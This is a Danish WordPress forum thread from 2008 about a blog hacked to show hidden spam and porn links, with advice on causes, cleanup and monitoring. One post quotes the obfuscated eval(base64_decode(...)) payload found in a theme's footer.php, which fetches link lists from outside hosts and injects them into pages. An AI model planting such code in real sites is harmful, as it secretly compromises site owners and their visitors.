http://wp-danmark.dk/forum/topic/wordpress-hacked WordPress DK Forum Topic: WordPress hacked da-DK Mon, 27 Jul 2026 23:04:58 +0000 http://bbpress.org/?v=1.0.1 q http://wp-danmark.dk/forum/search.php http://wp-danmark.dk/forum/topic/wordpress-hacked/page/2#post-8142 lør, 15 nov 2008 11:32:10 +0000 Mark Thomas Gazel 8142@http://wp-danmark.dk/forum/ <p>Nå, nu fjernet alt overflødigt og opdateret over hele linjen.</p> <p>Der er ikke sket noget endnu. Krydser fingre. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-8141 fre, 14 nov 2008 21:53:11 +0000 Mark Thomas Gazel 8141@http://wp-danmark.dk/forum/ <p>Jeg har installeret det og inden jeg fik sat det igang opdagede jeg, at jeg var blevet hacket igen.</p> <p>Jeg har ellers slettet og fjernet både overflødige filer og databasetabeller, samt ændret adgangskode til ftp. *HRMPF*.</p> <p>Plugin'et virker ellers fint. Har fået disse tre beskeder pr. mail indtil videre:</p> <p>Updated: File: /index.php<br /> Updated: File: /wp-content/index.php</p> <p>Det er fordi snavset bliver lagt i index.php-filer.</p> <p>Updated: Table: wpmg_options; Row with primary key = active_plugins<br /> Updated: Table: wpmg_options; Row with primary key = ftp_credentials<br /> Updated: Table: wpmg_options; Row with primary key = recently_activated</p> <p>Det her er mere tricky. Jeg håber det er fordi jeg har rodet med plugins. Bl.a. prøvet automatisk plugin-opdatering, der ikke virker hos servage.</p> <p>Jeg vender til bage, når jeg har opdateret alt og fjernet snavset og skiftet ftp-adgangskode. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-8139 fre, 14 nov 2008 16:15:50 +0000 Anders Saugstrup 8139@http://wp-danmark.dk/forum/ <p>Ser spændende ud! </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-8138 fre, 14 nov 2008 13:01:11 +0000 Ulf 8138@http://wp-danmark.dk/forum/ <p>Faldt lige over dette plugin - måske det kunne bruges forebyggende?<br /> <a href="http://wordpress.org/extend/plugins/paranoid911/" rel="nofollow">http://wordpress.org/extend/plugins/paranoid911/</a> </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7671 fre, 03 okt 2008 23:12:14 +0000 fiskeben 7671@http://wp-danmark.dk/forum/ <p>Opdatering: footer.php var sidst redigeret 20. august 2008, hvilket er samme dag som <a href="http://fiskeben.dk/2008/08/20/ris-og-ros-til-gigahost/" title="De blev hacket dengang">Den Store Gigahost Idioti</a>. Jeg er sikker på, at det kom derfra, og alle andre som blev udsat dengang bør tjekke sine filer. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7670 fre, 03 okt 2008 23:07:20 +0000 fiskeben 7670@http://wp-danmark.dk/forum/ <p>Jeg har lige fundet dette i min footer.php:<br /> <code>eval(base64_decode('ZnVuY3Rpb24gR2V0Q29udGVudCgpDQp7DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbWlycm9ycz1hcnJheSgiaHR0cDovL3JhbW9uYXR1Y2tlcjg3LmZyZWVob3N0aWEuY29tL2xpbmtzL2xpbmtzLmh0bWwiLCAiaHR0cDovL2Jsb2d3cC5pbmZvL2xpbmtzL2xpbmtzLmh0bWwiKTsNCmZvcmVhY2goJG1pcnJvcnMgYXMgJGsgPT4gJHYpDQogICAgew0KICAgIGlmKCRjb250ZW50PWZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkgYnJlYWs7DQogICAgfQ0KaWYgKCRjb250ZW50PT0iIil7cmV0dXJuICI8IS0tIGxpbmtzIG5vdCBmb3VuZCBibHlhISAtLT4iO30NCnJldHVybiAkY29udGVudDsNCn0NCmVjaG8gR2V0Q29udGVudCgpOwo=')); </code></p> <p>Det giver en god del (usynlige) links i bunden af min side.</p> <p>What. The. Fuck!?</p> <p>Mit tema er 100% hjemmelavet, så jeg gad godt vide, hvordan det er kommet derind. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7668 fre, 03 okt 2008 21:16:48 +0000 niemi 7668@http://wp-danmark.dk/forum/ <blockquote><p>Det er ikke utænkeligt, jeg gør det.</p></blockquote> <p>Du vil ikke fortryde at vende den kolde skulder til Servage. Det er ikke tilfældigt at jeg har haft <em>nøjagtigt</em> samme problem som dig, kæmpede med det i lang tid og måtte se mig nødsaget til at skifte host hvilket resulterede i at problemet blev løst. Farvel til viagra og billig sex. </p> <p>Servage har ikke styr på sikkerheden på deres overbookede clusters.</p> <p>Jeg skiftede til dreamhost og selvom det primært kan anbefales hvis du og i særlig grad dine besøgende er fra USA, så er jeg stadig godt tilfreds med dem efter jeg er vendt hjem til DK. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7664 fre, 03 okt 2008 11:17:51 +0000 Ulf 7664@http://wp-danmark.dk/forum/ <p>Pluginopdatering virker også på min Gigahost-konto. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7662 fre, 03 okt 2008 11:04:17 +0000 Mark Thomas Gazel 7662@http://wp-danmark.dk/forum/ <p>Det er ikke utænkeligt, jeg gør det.</p> <p>Peter anbefaler one.com. Jeg vil i hvert fald have en host, hvor pluginopdatering i WordPress virker. Det har jeg kun oplevet hos Wannafind.dk. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7661 fre, 03 okt 2008 10:17:33 +0000 niemi 7661@http://wp-danmark.dk/forum/ <blockquote><p>Det er hos servage, det er hosted.</p></blockquote> <p>Der er problemet. Løsningen? Skift host. Hvis du ikke tror mig så spørg Google. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7646 tors, 02 okt 2008 12:22:37 +0000 Mark Thomas Gazel 7646@http://wp-danmark.dk/forum/ <p>Også herfra. Rigtig gode tips Anders.</p> <p>wp_footer kan jeg i hvert fald leve uden. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7633 ons, 01 okt 2008 18:55:48 +0000 peterhenrichsen 7633@http://wp-danmark.dk/forum/ <p>Tak for svar, Mark, Thomas og Anders, det bliver læst med stor interesse fra min side.</p> <p>Mvh Peter </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7630 ons, 01 okt 2008 18:35:04 +0000 Anders Saugstrup 7630@http://wp-danmark.dk/forum/ <p>Nu kommer jeg lidt sent ind i tråden, men alligevel et par bud:</p> <p>Det kan være noget plugin-værk som er angrebet og som fx bruger en hook i en temafil (fx ?php wp_footer(); ? fra footer-filen kunne det være), så sørg for at alle plugins lige bliver slettet og installeret på ny i nyeste version.</p> <p>Det kan også, som du har fundet, være selve wordpress-installationen som giver problemer.</p> <p><strong>Generelle råd til alle</strong>: Brug fx <a href="http://home.snafu.de/tilman/xenulink.html">Xenu</a> til at tjekke hvilke udgående links der er fra bloggen, så du opdager den slags gennem rutinetjek.</p> <p>Brug også tippet fra min artikel <a href="http://www.saugstrup.org/virus-beskyt-hjemmeside/">hér</a> om at sætte en række google alerts op til at holde øje med dit site i forhold til slemme ord.</p> <p>Og se denne dagsfriske historie om en emnet fra <a href="http://deanhunt.com/has-your-wordpress-blog-been-hacked/">Dean Hunt</a>. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7629 ons, 01 okt 2008 17:30:19 +0000 Mark Thomas Gazel 7629@http://wp-danmark.dk/forum/ <p>Det er hos servage, det er hosted.</p> <p>Jeg bruger ikke yahoo-map.xml. Aner ikke hvad det. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7628 ons, 01 okt 2008 17:25:04 +0000 Thomas-DK 7628@http://wp-danmark.dk/forum/ <p>Har yahoo-map.xml noget med det, at gøre.<br /> Eller er det bare noget "hacket" bruger for at "snyde". </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7627 ons, 01 okt 2008 16:19:55 +0000 niemi 7627@http://wp-danmark.dk/forum/ <p>Må man spørge hvor du har dit webhotel? Jeg oplevede det samme hos servage.net (det var jeg vist ikke <a href="http://www.proxyutza.com/exploit-iframe-trojan-infection/">den eneste</a> der gjorde).</p> <p>Jeg fik løst problemet på samme måde som dig, men efter få dage vendte problemet tilbage. Det eneste der hjalp permanent var udskiftningen af min host, servage. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7626 ons, 01 okt 2008 15:31:44 +0000 Mark Thomas Gazel 7626@http://wp-danmark.dk/forum/ <p>Det var ikke kun i temafilerne. Hvis jeg slettede koden derfra, så kom det igen. Det gjorde det så ikke, da jeg havde geninstalleret WP.</p> <p>Men hvad der genererede koden ved jeg ikke. Det kan være noget root-access. Det kan også være denne stump slimstat-kode i footeren, der åbnede for noget:</p> <p>@include_once( $_SERVER["DOCUMENT_ROOT"]."/slimstat/inc.stats.php" );</p> <p>Jeg har fjernet den linje i footeren, men balladen kan ses her. Lidt endnu.</p> <p><a href="http://mark.gazel.dk/slimstat/index.php" rel="nofollow">http://mark.gazel.dk/slimstat/index.php</a></p> <p>Der er noget snavs i bunden der. </p> <p>Hvordan det er kommet ind i første omgang har jeg ingen idé om. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7624 ons, 01 okt 2008 15:15:42 +0000 Stendse 7624@http://wp-danmark.dk/forum/ <p>Mark....du må holde lidt igen med alt det porno! </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7619 ons, 01 okt 2008 14:47:56 +0000 Ulf 7619@http://wp-danmark.dk/forum/ <blockquote><p>Der var lidt koderest, som havde gemt sig i temaet. Jeg tror, det er helt væk nu. </p></blockquote> <p>Men i begge temaer - både det du bruger og default? Hmmmm ... jeg stemmer stadig for at nogen på en eller anden måde har kunnet fifle med nogle core-filer, evt. via noget root-access til din server. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7615 ons, 01 okt 2008 14:23:56 +0000 peterhenrichsen 7615@http://wp-danmark.dk/forum/ <p>Jeg er selvfølgelig også nervøs for at vi andre står med den samme i morgen. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7614 ons, 01 okt 2008 14:23:40 +0000 Thomas-DK 7614@http://wp-danmark.dk/forum/ <p>Så WordPress var ikke hacked?<br /> Er det korrekt forstået?<br /> Det var i dine <em>themes filer </em>? </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7612 ons, 01 okt 2008 14:20:35 +0000 peterhenrichsen 7612@http://wp-danmark.dk/forum/ <p>Undskyld, den kunne jeg godt tænke mig skåret ud i pap.</p> <p>Er der noget der er kommet ind i DB'en via. kommentarfunktionen, og hvad er det præcis for nogle koder du har overskrevet - kun temaets eller hele WP's?</p> <p>Og vil det sige at du har løst problemet? Og i så fald, hvordan går man så videre med sådan et problem til kode-teamet?</p> <p>Jeg synes det gik lidt hurtigt her til sidst.</p> <p>mvh Peter </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7608 ons, 01 okt 2008 14:12:07 +0000 Mark Thomas Gazel 7608@http://wp-danmark.dk/forum/ <p>Der var lidt koderest, som havde gemt sig i temaet. Jeg tror, det er helt væk nu. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7607 ons, 01 okt 2008 14:10:06 +0000 JanusA 7607@http://wp-danmark.dk/forum/ <p>Det lod til at virke. Rart at se. Det er som nævnt ovenfor det mareridt, vi alle gerne vil undgå. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7606 ons, 01 okt 2008 14:06:46 +0000 Mark Thomas Gazel 7606@http://wp-danmark.dk/forum/ <p>Det har jeg lige gjort. Overskrevet kernekoden. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7605 ons, 01 okt 2008 14:04:40 +0000 JanusA 7605@http://wp-danmark.dk/forum/ <p>Åhja, nu ser jeg dem. Jeg er med Ulf - atombomber fra kredsløb :) </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7604 ons, 01 okt 2008 14:02:17 +0000 Ulf 7604@http://wp-danmark.dk/forum/ <p>De er synlige en gang i mellem, men ellers er de skjult via et javascript-kunstgreb og kan kun ses nederst i kildekoden (efter det afsluttende HTML-tag).<br /> Jeg tror stadig på "slet alle filer og erstat med nye"-løsningen. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7603 ons, 01 okt 2008 14:01:36 +0000 Mark Thomas Gazel 7603@http://wp-danmark.dk/forum/ <p>De kunne ses direkte, men nu har den lavet noget visibility hidden. </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7602 ons, 01 okt 2008 13:57:33 +0000 peterhenrichsen 7602@http://wp-danmark.dk/forum/ <p>Jesus, ja!</p> <p>Jeg er ikke lige et orakel, men jeg vil da lige surfe rundt og se om jeg kan finde noget overhovedet der kan hjælpe.</p> <p>Det vil vi jo gerne undgå alle sammen - mareridtet, rent faktisk!</p> <p>Ligger de der pornolinks "kun" når man skriver "vis kilde", eller kan de også ses direkte på din WP-side? Synes ikke lige jeg kan få øje på dem?</p> <p>Mvh Peter </p> http://wp-danmark.dk/forum/topic/wordpress-hacked#post-7601 ons, 01 okt 2008 13:57:03 +0000 JanusA 7601@http://wp-danmark.dk/forum/ <p>Jeg kan ingen links se. Er det mig, der er blind, eller har du fået det fikset? Eller kan det måske være din browser, der serverer dig linksene? </p>